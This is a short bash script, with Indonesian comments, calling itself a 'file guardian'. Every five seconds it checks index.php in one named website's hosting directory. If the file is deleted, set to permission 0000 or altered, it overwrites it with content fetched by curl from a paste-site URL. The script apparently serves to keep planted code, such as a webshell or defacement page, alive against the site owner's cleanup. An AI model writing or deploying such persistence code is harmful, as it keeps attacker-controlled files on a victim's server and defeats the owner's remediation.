#!/bin/bash # === Konfigurasi === ROOT_DIR="/home/u1574315/public_html/biancainstitute.com/" # Daftar file yang mau dijaga + URL backupnya declare -A FILES FILES["$ROOT_DIR/index.php"]="https://raw.zeverix.com/raw/untitled-689" POLL_INTERVAL=5 # detik # === Fungsi log === log_event() { local message="$1" logger -t file-guardian "$message" echo "$(date '+%Y-%m-%d %H:%M:%S') - $message" } # === Fungsi restore file === restore_file() { local target="$1" local url="$2" local folder folder=$(dirname "$target") # Buat folder jika hilang if [ ! -d "$folder" ]; then mkdir -p "$folder" log_event "Folder $folder hilang! Dibuat ulang." fi # Download ke file sementara dulu local tmpfile tmpfile=$(mktemp) log_event "Restore $target dari $url ..." if curl -fsSL "$url" -o "$tmpfile"; then mv "$tmpfile" "$target" chmod 644 "$target" log_event "$target berhasil direstore." else log_event "Gagal restore $target dari $url." rm -f "$tmpfile" fi } # === Fungsi cek file === check_file() { local target="$1" local url="$2" # Jika file hilang → restore if [ ! -f "$target" ]; then log_event "$target hilang!" restore_file "$target" "$url" return fi # Jika permission 0000 → restore perms=$(stat -c "%a" "$target" 2>/dev/null) if [ "$perms" = "0000" ]; then log_event "Permission $target = 0000, restore ulang." restore_file "$target" "$url" return fi # Cek hash file dengan versi backup local tmpfile tmpfile=$(mktemp) if curl -fsSL "$url" -o "$tmpfile"; then local hash_local hash_remote hash_local=$(md5sum "$target" | awk '{print $1}') hash_remote=$(md5sum "$tmpfile" | awk '{print $1}') if [ "$hash_local" != "$hash_remote" ]; then log_event "$target terdeteksi diubah! Restore ulang." mv "$tmpfile" "$target" chmod 644 "$target" log_event "$target berhasil direstore." return fi fi rm -f "$tmpfile" } # === Main Loop === log_event "File guardian dimulai. Monitoring ${!FILES[@]} setiap $POLL_INTERVAL detik." while true; do for file in "${!FILES[@]}"; do check_file "$file" "${FILES[$file]}" done sleep "$POLL_INTERVAL" done